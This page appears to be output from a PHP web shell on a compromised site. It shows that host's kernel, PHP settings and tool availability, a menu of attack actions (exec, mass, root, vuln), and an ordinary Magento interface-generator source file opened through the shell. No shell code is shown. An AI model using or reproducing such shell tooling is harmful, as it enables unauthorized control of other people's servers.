Kernel : Linux vmi616275.contaboserver.net 5.4.0-84-generic #94-Ubuntu SMP Thu Aug 26 20:27:37 UTC 2021 x86_64
Disable function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Safe mode : OFF
Host : diestoffstrasse.com | Server ip : 127.0.0.1 | Your ip : 127.0.0.1 | Time @ Server : 23 Aug 2025 21:01:06
MySQL : OFF | MSSQL : OFF | cURL : ON | Oracle : OFF | wget : ON | Perl : ON

/home/dev2.destoffenstraat.com/vendor-1/magento/framework/Code/Generator/

HOME about upload exec mass file domain root vuln newfile newfolder kill me

File Path : /home/dev2.destoffenstraat.com/vendor-1/magento/framework/Code/Generator/InterfaceGenerator.php

<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Framework\Code\Generator; /** * Interface generator. */ class InterfaceGenerator extends \Magento\Framework\Code\Generator\ClassGenerator { /** * {@inheritdoc} */ public function generate() { if (!$this->isSourceDirty()) { $output = $this->getSourceContent(); if (!empty($output)) { return $output; } } $output = ''; if (!$this->getName()) { return $output; } $output .= $this->generateDirectives(); if (null !== ($docBlock = $this->getDocBlock())) { $docBlock->setIndentation(''); $output .= $docBlock->generate(); } $output .= 'interface ' . $this->getName(); if (!empty($this->extendedClass)) { $output .= ' extends \\' . ltrim($this->extendedClass, '\\'); } $output .= self::LINE_FEED . '{' . self::LINE_FEED . self::LINE_FEED . $this->generateMethods() . self::LINE_FEED . '}' . self::LINE_FEED; return $output; } /** * Instantiate interface method generator object. * * @return \Magento\Framework\Code\Generator\InterfaceMethodGenerator */ protected function createMethodGenerator() { return new \Magento\Framework\Code\Generator\InterfaceMethodGenerator(); } /** * Generate methods. * * @return string */ protected function generateMethods() { $output = ''; $methods = $this->getMethods(); if (!empty($methods)) { foreach ($methods as $method) { $output .= $method->generate() . self::LINE_FEED; } } return $output; } /** * Generate directives. * * @return string */ protected function generateDirectives() { $output = ''; $namespace = $this->getNamespaceName(); if (null !== $namespace) { $output .= 'namespace ' . $namespace . ';' . self::LINE_FEED . self::LINE_FEED; } $uses = $this->getUses(); if (!empty($uses)) { foreach ($uses as $use) { $output .= 'use ' . $use . ';' . self::LINE_FEED; } $output .= self::LINE_FEED; } return $output; } }